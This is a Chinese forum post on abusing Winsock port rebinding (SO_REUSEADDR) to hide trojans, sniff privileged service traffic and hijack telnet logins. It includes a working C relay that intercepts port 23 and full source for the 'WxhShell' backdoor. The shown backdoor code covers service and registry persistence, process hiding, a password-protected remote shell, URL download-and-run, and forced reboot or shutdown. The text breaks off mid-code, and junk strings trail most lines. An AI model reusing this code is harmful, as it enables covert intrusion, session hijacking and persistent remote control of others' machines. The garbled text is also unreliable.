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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q77;ZPfs8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <EB+1GFuI  
B:;pvW]  
  saddr.sin_family = AF_INET; i&Tbz!  
|mdVdD~go  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ( iBl   
 3s,g*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .779pT!,M  
?cBwPetp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DnMwUykF>0  
av}k)ZT_  
  这意味着什么?意味着可以进行如下的攻击: eueH)Xkf  
G7` ko1-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =)H.c uc  
w(*vj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '8RsN-w  
(lBCO?`fx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (>UZ<2GPL  
2\A$6N ;_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ja7R2-0ii#  
dh`K`b4I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =w_Ype`  
xaq-.IQAM$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t9kzw*U9  
 N_kMK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7u -p%eq2  
Z58 X5"  
  #include (Ft+uuG  
  #include jiV<+T?  
  #include Zw 26  
  #include    IXMop7~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~rE|%o  
  int main() LvH 4{B  
  { =\&;Fi]  
  WORD wVersionRequested; =V, mtT  
  DWORD ret; DbBcQ%  
  WSADATA wsaData; qOIyub  
  BOOL val; 1y4|{7bb  
  SOCKADDR_IN saddr; }W C[$Y_@  
  SOCKADDR_IN scaddr; n Mq,F#`3N  
  int err; UAkT*'cB  
  SOCKET s; !=*g@mgF  
  SOCKET sc; T] f ;km  
  int caddsize; Ex Y]Sdx  
  HANDLE mt; 9N#_( uwt  
  DWORD tid;   0rQMLx  
  wVersionRequested = MAKEWORD( 2, 2 ); G}9Jg  
  err = WSAStartup( wVersionRequested, &wsaData ); ~WeM TXF>y  
  if ( err != 0 ) { CTB~Yj@d+  
  printf("error!WSAStartup failed!\n"); !1jBC.G1  
  return -1; ^b4 9  
  } )Ys x}vSZ  
  saddr.sin_family = AF_INET; vjbASFF0=  
   f O}pj:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Maha$n*  
d\&U*=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /kZebNf6H  
  saddr.sin_port = htons(23); Dzpq_F!;V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z\\[S@>pt  
  { SB;&GHq"n  
  printf("error!socket failed!\n"); G, }Yl  
  return -1; }/0X'o  
  } \#2Z)Kz  
  val = TRUE; j"t(0 m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WrnrFz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1*P~!2h  
  { .wEd"A&j  
  printf("error!setsockopt failed!\n"); *<$*"p  
  return -1; ttaM.  
  } L4@K~8j7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B?eCe}*f;B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0JWDtmK=C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !j8FIY'[  
wjU9ZGM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GL>O4S<`  
  { afCW(zH p  
  ret=GetLastError(); bWjc'P6rx  
  printf("error!bind failed!\n"); ]g#:KAqz  
  return -1; fbyd"(V 8r  
  } 2 ~dE<}  
  listen(s,2); bbDZ#DK"  
  while(1) 8 `v-<J  
  { n2"a{Ofhlf  
  caddsize = sizeof(scaddr); gldAP:  
  //接受连接请求 ^rB8? kt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aj-Km`5r}  
  if(sc!=INVALID_SOCKET) k%]3vRo<  
  { YU'k#\gi*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =Pyj%4Rs  
  if(mt==NULL) prUN)r@U   
  { Yj<a" Gr4[  
  printf("Thread Creat Failed!\n"); 7m47rJyW4  
  break; J@/kIrx  
  } [7:,?$tC  
  } CQc+#nRe  
  CloseHandle(mt); o3XvRj  
  } rP'me2 B  
  closesocket(s); 0.Q Ujw  
  WSACleanup(); %HhBt5w  
  return 0; 2,y|EpG#  
  }   'NbHa!  
  DWORD WINAPI ClientThread(LPVOID lpParam) G~]Uk*M q  
  { >1X|^  
  SOCKET ss = (SOCKET)lpParam; F0m-23[H  
  SOCKET sc; [@_Jj3`4  
  unsigned char buf[4096]; cRC6 s8  
  SOCKADDR_IN saddr; .y'>[  
  long num; 3xy<tqfr  
  DWORD val; V%t.l  
  DWORD ret; DcS+_>a\{l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lwR<(u31e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]]HNd7Vh  
  saddr.sin_family = AF_INET; ,=uD^n:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W Tcw4  
  saddr.sin_port = htons(23); ;_XFo&@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h! ,v/7=  
  { ;gD})@  
  printf("error!socket failed!\n"); %6t:(z  
  return -1; ./XYd"p  
  } ;'gWu  
  val = 100; \Zb;'eDv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2/U.| *mH  
  { qRu~$K  
  ret = GetLastError(); -D<< kra  
  return -1; Q@=Q0  
  } zWnX*2>b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xPdG*OcX!  
  { \wmN  
  ret = GetLastError(); wC"FDr+  
  return -1; M+oHtX$  
  } XjBW9a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 05|=`eJ  
  { )|cc X  
  printf("error!socket connect failed!\n"); \a<wKTkn  
  closesocket(sc); hy9\57_#  
  closesocket(ss); @s*-%N^:[L  
  return -1; *nd!)t  
  } UklUw  
  while(1) _OYasJUMG  
  { O/^ %2mG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t <~h'U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >:SHV W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PhLn8jNti  
  num = recv(ss,buf,4096,0); ]iVcog"T  
  if(num>0) 2y75  
  send(sc,buf,num,0); NCveSP  
  else if(num==0) )',R[|<  
  break; -+-?w|}qV  
  num = recv(sc,buf,4096,0); YH$-g  
  if(num>0) 53_Hl]#qZ  
  send(ss,buf,num,0); 7K12 G!)  
  else if(num==0) }f%}v  
  break; cUk7i`M;6  
  } `Uq#W+r,  
  closesocket(ss); vN}#Kc\  
  closesocket(sc); O}gV`q;  
  return 0 ; ~ZaY!(R<  
  } eNh39er  
^+ml5m  
t6rRU~;}  
========================================================== cs48*+m  
_r#Z}HK  
下边附上一个代码,,WXhSHELL qyb?49I  
'(6z. toQ  
========================================================== XE RUo  
50h! X9  
#include "stdafx.h" 3F"lXguS  
/*~EO{o  
#include <stdio.h> qfF~D0}  
#include <string.h> PJ')R:e,  
#include <windows.h> |*Yr<zt  
#include <winsock2.h> ME$[=?7XX  
#include <winsvc.h> Xc ++b|k  
#include <urlmon.h> #&+{mCjs  
T}Tp$.gB  
#pragma comment (lib, "Ws2_32.lib") yNBQGSH  
#pragma comment (lib, "urlmon.lib") i%iL[id:w  
]Ee?6]bN  
#define MAX_USER   100 // 最大客户端连接数  y`iBFC;_  
#define BUF_SOCK   200 // sock buffer ^^u5*n+5  
#define KEY_BUFF   255 // 输入 buffer y G~?MEh{  
Gf6p'(\zun  
#define REBOOT     0   // 重启 E*& vy  
#define SHUTDOWN   1   // 关机 Ha#= (9.  
d2FswF$C  
#define DEF_PORT   5000 // 监听端口 -12UN(&&Z  
m[osg< CR_  
#define REG_LEN     16   // 注册表键长度 @ )F)S 7  
#define SVC_LEN     80   // NT服务名长度 eSn+B;  
=>S]q71  
// 从dll定义API 5PCqYN(:B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `?H]h"{7Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :9afg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (M|Dx\_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j a[Et/r  
J`Q>3] wL  
// wxhshell配置信息 [&[k^C5  
struct WSCFG { 'ycJMYP8  
  int ws_port;         // 监听端口 9yu\ Ot  
  char ws_passstr[REG_LEN]; // 口令 , u=`uD  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y>z>11yEB0  
  char ws_regname[REG_LEN]; // 注册表键名 W.jGGt\<\  
  char ws_svcname[REG_LEN]; // 服务名 o)|flI'vT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gk4;>}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z3e| UAif  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /V8 #[9K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &, vcJ{.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,oe <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u]wZQl#-  
T  wB}l  
}; nUr5Qn?  
hR n<em  
// default Wxhshell configuration CZe ]kXNv  
struct WSCFG wscfg={DEF_PORT, ~hH REI&  
    "xuhuanlingzhe", ;1W6G=m  
    1, <V'@ks%  
    "Wxhshell", t?X877z  
    "Wxhshell", OdbEq?3S/?  
            "WxhShell Service", g9pZ\$J&  
    "Wrsky Windows CmdShell Service", h f)?1z4  
    "Please Input Your Password: ", mM~qBrwL  
  1, $p8xEcQdU#  
  "http://www.wrsky.com/wxhshell.exe", T~?Ff|qFC  
  "Wxhshell.exe" S>+|OCl";  
    }; hNiE\x  
^#-l q)  
// 消息定义模块 @s>Czm5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  N];NAMp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dbLZc$vPj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >=lC4Tu  
char *msg_ws_ext="\n\rExit."; G>_*djUf  
char *msg_ws_end="\n\rQuit."; ;V_e>TyG  
char *msg_ws_boot="\n\rReboot..."; GAzU?a{S  
char *msg_ws_poff="\n\rShutdown..."; H'5)UX@LP  
char *msg_ws_down="\n\rSave to "; uCvj!  
YMyfL8bO  
char *msg_ws_err="\n\rErr!"; je-!4r,  
char *msg_ws_ok="\n\rOK!"; y1D L,%j  
tFn)aa~L  
char ExeFile[MAX_PATH]; +480 l}  
int nUser = 0; JG. y,<xW  
HANDLE handles[MAX_USER]; )m+W j  
int OsIsNt; F;EwQjTF  
P:S.~Jq  
SERVICE_STATUS       serviceStatus; \w>y`\6mX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hFUlNJ  
Q}JOU  
// 函数声明 2W(s(-hD  
int Install(void); I|!OY`ko  
int Uninstall(void); hag$GX'2k  
int DownloadFile(char *sURL, SOCKET wsh); c ]-<vkpV  
int Boot(int flag); w "F 9l  
void HideProc(void); \7eUw,~Q>  
int GetOsVer(void); ,t744k')  
int Wxhshell(SOCKET wsl); UgRiIQMq.  
void TalkWithClient(void *cs); 539>WyG5  
int CmdShell(SOCKET sock); Es`Px_k  
int StartFromService(void); DK~xrU'  
int StartWxhshell(LPSTR lpCmdLine); ~Cttzn]pR  
@;4zrzQi7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G>=*yqo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); octL"t8w  
C& f= ywi0  
// 数据结构和表定义 l30EKoul)  
SERVICE_TABLE_ENTRY DispatchTable[] = Wi<m{.%\E  
{ =s{>Fsm1  
{wscfg.ws_svcname, NTServiceMain}, AN m d!  
{NULL, NULL} >uB?rGcM  
}; Jr4Ky<G_i  
uZYF(Yu  
// 自我安装 @bLy,Xr&  
int Install(void) B@))8.h]  
{ XJB)rP  
  char svExeFile[MAX_PATH]; v~C Czg  
  HKEY key; 3`?7 <YJ  
  strcpy(svExeFile,ExeFile); S+6.ZZ9c  
G _tCmu\  
// 如果是win9x系统,修改注册表设为自启动 Qljpx?E  
if(!OsIsNt) { Zl!kJ:0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RBd7YWo\|j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8W7J3{d  
  RegCloseKey(key); I][*j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1.hyCTnI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ee#q9Cx^J  
  RegCloseKey(key); hfB%`x#akQ  
  return 0;  }v{LRRi  
    } 3\,4 ]l|  
  } 7EEl +;wK  
} LOYk9m  
else { G!##X: 6'  
C.P*#_R  
// 如果是NT以上系统,安装为系统服务 V Q@   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e%M;?0j  
if (schSCManager!=0) =XQ%t @z0  
{ {S \{Ii6  
  SC_HANDLE schService = CreateService ?z+eWL  
  ( {YC@T(  
  schSCManager, ]/6z; ~3U  
  wscfg.ws_svcname, Ix}sK"}[n  
  wscfg.ws_svcdisp, e`s ~.ZF  
  SERVICE_ALL_ACCESS, >R_&Ouh:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G_JA-@i%  
  SERVICE_AUTO_START, 372rbY  
  SERVICE_ERROR_NORMAL, .Efk*  
  svExeFile, (WJRi:NP?  
  NULL, Jpq~  
  NULL, w2c?.x  
  NULL, $I>w]  
  NULL, S hWJ72c  
  NULL ^76]0`gS  
  ); e9tjw[+A  
  if (schService!=0) WU` rh^  
  { cjY-y-vO  
  CloseServiceHandle(schService); ?^{Ah}x  
  CloseServiceHandle(schSCManager); Izc\V9+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %1L,Y  
  strcat(svExeFile,wscfg.ws_svcname); kD%( _K5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }8z?t:|S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]W!0$'o  
  RegCloseKey(key); j (d~aqW  
  return 0; Ml5w01O  
    } >=>2m2z=  
  } & .j&0WE  
  CloseServiceHandle(schSCManager); ^ytrK Q  
} JbbzV>  
} ,0sm  
pv&sO~!iC  
return 1; eByz-,{P  
} JQI: sj  
q;CiV  
// 自我卸载 B9 uoVcW  
int Uninstall(void) !.gIHY  
{ ITBE|b  
  HKEY key;  (ZizuHC  
3$R1ipb  
if(!OsIsNt) { e !Y~Qy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !pW0qX\1n  
  RegDeleteValue(key,wscfg.ws_regname); T^KKy0ZGM  
  RegCloseKey(key); }0z)5c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GxxW&y  
  RegDeleteValue(key,wscfg.ws_regname); %> eiAB_b  
  RegCloseKey(key); 7}>EJ  
  return 0; j^JPZ{ej ?  
  } LRA8p<Rs  
} L2z[   
} SnfYT)Ph  
else { /3T1U  
Gd=RyoJl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KpGhQdR#  
if (schSCManager!=0) niyV8v  
{ Gef TdO.&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D>q9 3;p  
  if (schService!=0) 4HlQ&2O%#  
  { M2Qr(K|  
  if(DeleteService(schService)!=0) { (A#^l=su  
  CloseServiceHandle(schService); `^&OF u ee  
  CloseServiceHandle(schSCManager); eauF ~md,  
  return 0; Q &JUt(  
  } KRzAy)8  
  CloseServiceHandle(schService); z:*|a+cy  
  } D,feF9  
  CloseServiceHandle(schSCManager); ,qxu|9L  
} bn5 Su=]  
} 25?6gu*Z  
ICQKP1WFp  
return 1; .q>iXE_c  
} Lf&kv7Wj  
bAMdI 5Zk?  
// 从指定url下载文件 +e``OeXog  
int DownloadFile(char *sURL, SOCKET wsh) L,!?Nt\  
{ GTd,n=  
  HRESULT hr; .k !{*  
char seps[]= "/"; {wKB;?fUvk  
char *token; {<KVx9  
char *file; ?caSb =f  
char myURL[MAX_PATH]; [W&T(%(W-  
char myFILE[MAX_PATH]; S9.o/mr  
77Dn97l)&  
strcpy(myURL,sURL); 7@Qcc t4A  
  token=strtok(myURL,seps); ZECfR>`x  
  while(token!=NULL) e^voW"?%  
  { hVY$;s  
    file=token; k_#)Tw*  
  token=strtok(NULL,seps); 9'B `]/L  
  } WyiQoN'q  
|6- nbj  
GetCurrentDirectory(MAX_PATH,myFILE); 9* M,R,y  
strcat(myFILE, "\\"); @yYkti;4-  
strcat(myFILE, file); F^:3?JA _  
  send(wsh,myFILE,strlen(myFILE),0); t6c4+D'{].  
send(wsh,"...",3,0); gbA_DZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B+`g> h  
  if(hr==S_OK) CU0YIL  
return 0;  ob]w;"  
else XCQs2CHt  
return 1; h*\%vr  
Le^ n +5x  
} ;xTpE2 -~  
SXh-A1t  
// 系统电源模块 "tK=+f`NM  
int Boot(int flag) PKz':_|  
{ p_4<6{KEt  
  HANDLE hToken; m&3xJuKih  
  TOKEN_PRIVILEGES tkp; ~} ~4  
/ ;$[E  
  if(OsIsNt) { !ohN!P7&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Kg]J/|0\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tH4B:Bgj!  
    tkp.PrivilegeCount = 1; #'`{Qv0,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KI.hy2?e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }@)[5N# A|  
if(flag==REBOOT) { c+ie8Q!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .xkM.g4{~  
  return 0; 53 h0UL  
} V;=cwy)I  
else { {!`6zBsP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HzJz+ x:  
  return 0; lOp`m8_=  
} >$7B wO  
  } zH r_!~  
  else { Z\sDUJ  
if(flag==REBOOT) { ]4e;RV-B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %yC,^  
  return 0; v$9y,^p@e  
} pgo$ 61  
else { DmcZta8n]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8P`"M#fI  
  return 0; eMzk3eOJ  
} 5)40/cBe  
} *qq+jsA6wH  
XWw804ir  
return 1; {;oPLr+Z  
} J}t%p(mb  
:(%5:1W  
// win9x进程隐藏模块 6eCCmIdaM  
void HideProc(void) <UCl@5g&  
{ dh\P4  
=(^3}x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +7}]E1Uf  
  if ( hKernel != NULL ) j<$2hiI/?&  
  { l,).p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HaYo!.(Fv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2<3K3uz  
    FreeLibrary(hKernel); xSu >  
  } F0# 'WfM#  
*zLMpL_  
return; 2AdDIVYC  
} mkpMfPt  
unxqkU/<Z  
// 获取操作系统版本 ]$hBMuUa  
int GetOsVer(void) $cg cX  
{ +ge?w#R  
  OSVERSIONINFO winfo; Vvo 7C!$z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6\t@)=C,Q  
  GetVersionEx(&winfo); dN6?c'iN?2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7p[n  
  return 1; qP ,EBE  
  else '"Nr,vQo  
  return 0; ~ri5zb20  
} naNghGQ  
PY'2h4IL  
// 客户端句柄模块 2<6UwF  
int Wxhshell(SOCKET wsl) p7 ~!z.)o  
{ !x)R=Z/C  
  SOCKET wsh; #9s,# }  
  struct sockaddr_in client; (k P9hcV  
  DWORD myID; xD7]C|8o  
/{2,zW  
  while(nUser<MAX_USER) kxCSs7J/  
{ a9Vi];  
  int nSize=sizeof(client); Y0> @vTUX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n"8Yv~v*2j  
  if(wsh==INVALID_SOCKET) return 1; iow"n$/  
4Tc~b3\!Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -g<oS9   
if(handles[nUser]==0) n+p }\msH  
  closesocket(wsh); <ZW-QN4  
else XP}<N&j  
  nUser++; ~M$Wd2Th  
  } kGJC\{N5N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }B^tL$k  
>Gu M]qn  
  return 0; dWW.Y*339  
} 6~+e mlD  
|[lKY+26:{  
// 关闭 socket 3U}%2ARo_  
void CloseIt(SOCKET wsh) HKeK<V  
{ BLFdHB.$T  
closesocket(wsh); =|9!vzG4  
nUser--; ^^Vg~){4  
ExitThread(0); d_ CT $  
} MOC/KNb  
YZ7.1`8  
// 客户端请求句柄 =lSNs   
void TalkWithClient(void *cs) j1Ezf=N6`  
{ 4z)]@:`}z  
ABkl%m6xf  
  SOCKET wsh=(SOCKET)cs; "jCu6Rjd  
  char pwd[SVC_LEN]; h`KU\X ) A  
  char cmd[KEY_BUFF]; <naz+QK'  
char chr[1]; [B3RfCV{  
int i,j; 0 "#HJA44  
/@5YW"1  
  while (nUser < MAX_USER) { 13f)&#, F  
)}v l\7=  
if(wscfg.ws_passstr) { P {'b:C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `_h&glMJ,q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R#KU^]"(  
  //ZeroMemory(pwd,KEY_BUFF); ULW~90  
      i=0; :KO2| v\  
  while(i<SVC_LEN) { Va8&Z  
b Zt3|  
  // 设置超时 n@w%Zl  
  fd_set FdRead; 9 $X-  
  struct timeval TimeOut; -qoH,4w  
  FD_ZERO(&FdRead); 8Y?;x}  
  FD_SET(wsh,&FdRead); X?Au/  
  TimeOut.tv_sec=8; `mqMLo *  
  TimeOut.tv_usec=0; \NC3'G:Ii  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mihg:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P;*(hY5&  
:EyD+!LJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E"0>yl)  
  pwd=chr[0]; >d6|^h'0  
  if(chr[0]==0xd || chr[0]==0xa) { mc3"`+o  
  pwd=0; 4+ig' |o  
  break; {Ha57Wk8D  
  } M3AXe]<eC1  
  i++; Pc9H0\+Xk  
    } zreU')a  
iQ{VY ^ 0  
  // 如果是非法用户,关闭 socket ite~E5?#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0$njMnB2l  
} #;<Y[hR{P  
Js;h%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9FX-1,Jx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~s{$WL&  
D,6:EV"sa  
while(1) { Dzbz)Zst  
&wX]_:?  
  ZeroMemory(cmd,KEY_BUFF); cnLro  
 3CJwj  
      // 自动支持客户端 telnet标准   KTv$  
  j=0; -YE^zzh  
  while(j<KEY_BUFF) { ;Qq\DFe.w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~5g~;f[4  
  cmd[j]=chr[0]; `{Ul!  
  if(chr[0]==0xa || chr[0]==0xd) { [ 3HfQ  
  cmd[j]=0; ctUp=po  
  break; YzWz|  
  } #Dac~>a'  
  j++; *h|U,T7ew  
    } A=4OWV?  
/ j^  
  // 下载文件 0`hdMLONR  
  if(strstr(cmd,"http://")) { 9VT;ep  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xkn;,`t^lJ  
  if(DownloadFile(cmd,wsh)) v2?ZQeHr_(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h$*!8=M  
  else S[N5 ikg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T;uX4,|(  
  } 6nQq  
  else { +qoRP2  
n|;Im&,  
    switch(cmd[0]) { Y0>y8U V  
  Z}QB.$&  
  // 帮助 g5yJfRLxp  
  case '?': { fIF8%J ^3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7 3m1  
    break; $^ P0F9~0  
  } ZW}_DT0  
  // 安装 l ,8##7  
  case 'i': { ]-q;4.  
    if(Install()) #F#%`Rv1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nK,w]{<wG!  
    else hQ i2U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }*-@!wc-N  
    break; 9iq_rd]  
    } o@Oqm>]SS  
  // 卸载 nlYNN/@"  
  case 'r': { OCUr{Nh  
    if(Uninstall()) kl`W\tF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HhpDR  
    else 68 sB )R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;fJ.8C  
    break; TN.rrop`#g  
    } uc=B,3  
  // 显示 wxhshell 所在路径 Fp:'M X  
  case 'p': { @VBcJ{e,  
    char svExeFile[MAX_PATH]; "#]$r  
    strcpy(svExeFile,"\n\r"); :0ep( <|;  
      strcat(svExeFile,ExeFile); OnK4] S5  
        send(wsh,svExeFile,strlen(svExeFile),0); R8 T x[CJ5  
    break; z}@7'_iJ  
    } G#CXs:1pd+  
  // 重启 liZxBs :%i  
  case 'b': { ?0SEMmp`H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *Uh!>Iv;  
    if(Boot(REBOOT)) RpK@?[4s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g*Phv|kI  
    else { '7/)Ot(  
    closesocket(wsh); B6"0OIDY"  
    ExitThread(0); _+,TT['57s  
    } gSgr6TH0  
    break; Gq6*SaTk  
    } TJN4k@\$2  
  // 关机 Si7*& dw=  
  case 'd': { aYeR{Y]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <[v[ci  
    if(Boot(SHUTDOWN)) %RVZD#zr  
